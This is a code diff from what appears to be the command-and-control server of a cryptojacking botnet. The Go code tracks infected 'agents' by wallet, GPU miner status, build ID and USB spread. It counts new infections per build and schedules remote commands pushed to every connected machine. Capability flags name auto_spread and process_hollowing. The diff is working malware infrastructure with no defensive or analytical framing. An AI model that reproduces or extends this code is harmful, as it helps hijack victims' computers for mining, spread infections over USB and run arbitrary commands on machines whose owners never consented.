if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := d.QueryRow(`SELECT COUNT(*) FROM agents`).Scan(&stats.TotalAgents); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := d.Query(`
|
||||
SELECT COALESCE(NULLIF(build_id,''), 'unknown') AS build_id,
|
||||
COALESCE(NULLIF(worker_name,''), name) AS worker_name,
|
||||
COUNT(*) AS cnt,
|
||||
SUM(CASE WHEN usb_spread = 1 THEN 1 ELSE 0 END) AS usb_cnt
|
||||
FROM agents
|
||||
WHERE created_at >= ?
|
||||
GROUP BY build_id, worker_name
|
||||
ORDER BY cnt DESC`,
|
||||
since,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var r SpreadFunnelRow
|
||||
if err := rows.Scan(&r.BuildID, &r.WorkerName, &r.Count, &r.USBSpread); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
stats.ByBuild = append(stats.ByBuild, r)
|
||||
}
|
||||
return stats, rows.Err()
|
||||
}
|
||||
@@ -130,6 +130,45 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
|
||||
|
||||
extraMigrations := []string{
|
||||
`CREATE TABLE IF NOT EXISTS audit_log (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
username TEXT NOT NULL DEFAULT '',
|
||||
action TEXT NOT NULL,
|
||||
agent_id TEXT NOT NULL DEFAULT '',
|
||||
detail TEXT NOT NULL DEFAULT '{}'
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_audit_timestamp ON audit_log(timestamp)`,
|
||||
`CREATE TABLE IF NOT EXISTS fleet_tasks (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL,
|
||||
enabled INTEGER NOT NULL DEFAULT 1,
|
||||
trigger TEXT NOT NULL,
|
||||
interval_hours REAL NOT NULL DEFAULT 0,
|
||||
cron_time TEXT NOT NULL DEFAULT '',
|
||||
action TEXT NOT NULL,
|
||||
command TEXT NOT NULL DEFAULT '',
|
||||
target TEXT NOT NULL DEFAULT 'all',
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
`CREATE TABLE IF NOT EXISTS fleet_task_runs (
|
||||
agent_id TEXT NOT NULL,
|
||||
task_id TEXT NOT NULL,
|
||||
last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
PRIMARY KEY (agent_id, task_id)
|
||||
)`,
|
||||
}
|
||||
for _, m := range extraMigrations {
|
||||
if _, err := d.Exec(m); err != nil {
|
||||
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -137,8 +176,8 @@ func (d *Database) migrate() error {
|
||||
// Agent operations
|
||||
|
||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?)
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
wallet = excluded.wallet,
|
||||
@@ -152,8 +191,15 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
arch = excluded.arch,
|
||||
os_version = excluded.os_version,
|
||||
hostname = excluded.hostname,
|
||||
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END`
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress)
|
||||
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
|
||||
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
|
||||
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
|
||||
usb_spread = excluded.usb_spread`
|
||||
usb := 0
|
||||
if a.USBSpread {
|
||||
usb = 1
|
||||
}
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb)
|
||||
return err
|
||||
}
|
||||
|
||||
|
||||
@@ -34,6 +34,10 @@ type Agent struct {
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
WorkerName string `json:"worker_name,omitempty"`
|
||||
USBSpread bool `json:"usb_spread,omitempty"`
|
||||
|
||||
// Live connection quality — not persisted, set by WSHub each stats cycle.
|
||||
LatencyMs *int `json:"latency_ms,omitempty"`
|
||||
|
||||
@@ -102,6 +106,7 @@ type AgentCapabilities struct {
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
}
|
||||
|
||||
type Share struct {
|
||||
|
||||
15
server/internal/models/audit.go
Normal file
15
server/internal/models/audit.go
Normal file
@@ -0,0 +1,15 @@
|
||||
package models
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"time"
|
||||
)
|
||||
|
||||
type AuditEntry struct {
|
||||
ID int64 `json:"id"`
|
||||
Timestamp time.Time `json:"timestamp"`
|
||||
Username string `json:"username"`
|
||||
Action string `json:"action"`
|
||||
AgentID string `json:"agent_id,omitempty"`
|
||||
Detail json.RawMessage `json:"detail,omitempty"`
|
||||
}
|
||||
18
server/internal/models/fleet_task.go
Normal file
18
server/internal/models/fleet_task.go
Normal file
@@ -0,0 +1,18 @@
|
||||
package models
|
||||
|
||||
import "time"
|
||||
|
||||
// FleetTask is a server-side scheduled remote action pushed to agents.
|
||||
type FleetTask struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Enabled bool `json:"enabled"`
|
||||
Trigger string `json:"trigger"` // on_connect, on_reconnect, interval_hours, cron
|
||||
IntervalHours float64 `json:"interval_hours,omitempty"`
|
||||
CronTime string `json:"cron_time,omitempty"` // HH:MM daily
|
||||
Action string `json:"action"`
|
||||
Command string `json:"command,omitempty"`
|
||||
Target string `json:"target,omitempty"` // all (default)
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
142
server/internal/scheduler/fleet_scheduler.go
Normal file
142
server/internal/scheduler/fleet_scheduler.go
Normal file
@@ -0,0 +1,142 @@
|
||||
package scheduler
|
||||
|
||||
import (
|
||||
"log"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// CommandSender pushes a remote command to a connected agent.
|
||||
type CommandSender interface {
|
||||
SendAgentCommand(agentID, action string, args map[string]interface{}) error
|
||||
ConnectedAgentIDs() []string
|
||||
}
|
||||
|
||||
// FleetScheduler runs interval and cron fleet tasks against connected agents.
|
||||
type FleetScheduler struct {
|
||||
db *db.Database
|
||||
send CommandSender
|
||||
stop chan struct{}
|
||||
wg sync.WaitGroup
|
||||
|
||||
cronMu sync.Mutex
|
||||
lastCronRuns map[string]string // taskID -> "2006-01-02 15:04"
|
||||
}
|
||||
|
||||
func New(db *db.Database, send CommandSender) *FleetScheduler {
|
||||
return &FleetScheduler{
|
||||
db: db,
|
||||
send: send,
|
||||
stop: make(chan struct{}),
|
||||
lastCronRuns: make(map[string]string),
|
||||
}
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) Start() {
|
||||
s.wg.Add(1)
|
||||
go s.loop()
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) Stop() {
|
||||
close(s.stop)
|
||||
s.wg.Wait()
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) loop() {
|
||||
defer s.wg.Done()
|
||||
ticker := time.NewTicker(1 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-s.stop:
|
||||
return
|
||||
case <-ticker.C:
|
||||
s.tickInterval()
|
||||
s.tickCron()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// RunConnectTasks executes tasks matching on_connect or on_reconnect for one agent.
|
||||
func (s *FleetScheduler) RunConnectTasks(agentID string, trigger string) {
|
||||
tasks, err := s.db.ListFleetTasks()
|
||||
if err != nil {
|
||||
log.Printf("[scheduler] list tasks: %v", err)
|
||||
return
|
||||
}
|
||||
for _, t := range tasks {
|
||||
if !t.Enabled || t.Trigger != trigger {
|
||||
continue
|
||||
}
|
||||
s.dispatchTask(agentID, t)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) tickInterval() {
|
||||
tasks, err := s.db.ListFleetTasks()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
agentIDs := s.send.ConnectedAgentIDs()
|
||||
for _, t := range tasks {
|
||||
if !t.Enabled || t.Trigger != "interval_hours" || t.IntervalHours <= 0 {
|
||||
continue
|
||||
}
|
||||
interval := time.Duration(t.IntervalHours * float64(time.Hour))
|
||||
for _, agentID := range agentIDs {
|
||||
last, ok := s.db.LastFleetTaskRun(agentID, t.ID)
|
||||
if ok && time.Since(last) < interval {
|
||||
continue
|
||||
}
|
||||
s.dispatchTask(agentID, t)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) tickCron() {
|
||||
now := time.Now()
|
||||
slot := now.Format("15:04")
|
||||
daySlot := now.Format("2006-01-02") + " " + slot
|
||||
|
||||
tasks, err := s.db.ListFleetTasks()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
agentIDs := s.send.ConnectedAgentIDs()
|
||||
for _, t := range tasks {
|
||||
if !t.Enabled || t.Trigger != "cron" || strings.TrimSpace(t.CronTime) == "" {
|
||||
continue
|
||||
}
|
||||
cronTime := strings.TrimSpace(t.CronTime)
|
||||
if cronTime != slot {
|
||||
continue
|
||||
}
|
||||
s.cronMu.Lock()
|
||||
if s.lastCronRuns[t.ID] == daySlot {
|
||||
s.cronMu.Unlock()
|
||||
continue
|
||||
}
|
||||
s.lastCronRuns[t.ID] = daySlot
|
||||
s.cronMu.Unlock()
|
||||
for _, agentID := range agentIDs {
|
||||
s.dispatchTask(agentID, t)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) dispatchTask(agentID string, t *models.FleetTask) {
|
||||
args := map[string]interface{}{}
|
||||
if t.Command != "" {
|
||||
args["command"] = t.Command
|
||||
}
|
||||
if err := s.send.SendAgentCommand(agentID, t.Action, args); err != nil {
|
||||
log.Printf("[scheduler] task %s → %s: %v", t.Name, agentID, err)
|
||||
return
|
||||
}
|
||||
_ = s.db.RecordFleetTaskRun(agentID, t.ID)
|
||||
log.Printf("[scheduler] dispatched task %q (%s) → agent %s", t.Name, t.Action, agentID)
|
||||
}
|
||||
Reference in New Issue
Block a user